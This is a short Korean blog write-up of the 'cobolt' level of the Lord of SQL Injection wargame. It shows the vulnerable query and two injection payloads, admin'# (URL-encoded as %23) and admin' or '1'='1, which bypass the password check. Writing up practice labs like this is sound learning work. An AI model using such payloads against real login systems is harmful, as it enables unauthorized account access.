-
728x90
문제를 들어가면 쿼리문과 함께 해당 문제의 소스코드가 보인다.
먼저 코드를 보면 이전 문제인 gremlin과 상당히 비슷한 문제라는 것을 알 수 있다. 하지만 이번에는 pw가 md5로 암호화되어 전송되고, 중간의 if 조건문을 보면 id가 'admin'일 때 solve("cobolt") 함수가 실행되어 문제가 풀린다.
따라서 SQL 인젝션을 이용해 id의 값에 admin'# 이라는 값을 전달해주면
select id from prob_cobolt where id='admin'#' and pw=md5('') # id값은 admin으로, 뒤의 pw는 #을 이용해 주석처리 되었다. # 따라서 실제 쿼리에 인식되는 값은 id='admin'인 셈.
쿼리가 위와 같이 인식해 문제가 풀리게 된다.
혹은 주석처리 대신 id에 admin' or '1' = '1 이라는 값을 전달해주어도 정상적으로 문제가 풀린다.
select id from prob_cobolt where id='admin' or '1' = '1' and pw=md5('') # id는 'admin'으로 조건문을 만족시키고, 뒤에 or '1'='1' 구문을 삽입해 참인 조건을 or로 연결하여 쿼리문이 항상 참이되도록 만든다. # 따라서 위의 if조건문을 만족함과 동시에 or구문으로 쿼리문이 무조건 참이 된다.
주소창 뒤에 ?id=admin'%23 또는 ?id=admin' or '1' = '1 을 입력해준다.
('#'이 자동으로 url encoding되지 않기 때문에 #대신 #의 url encode인 %23을 삽입해준다.)
728x90'Wargame > LOS (Lord of SQL Injection)' 카테고리의 다른 글
[LOS] 1. gremlin _write up - los.rubiya.kr (0) 2021.02.05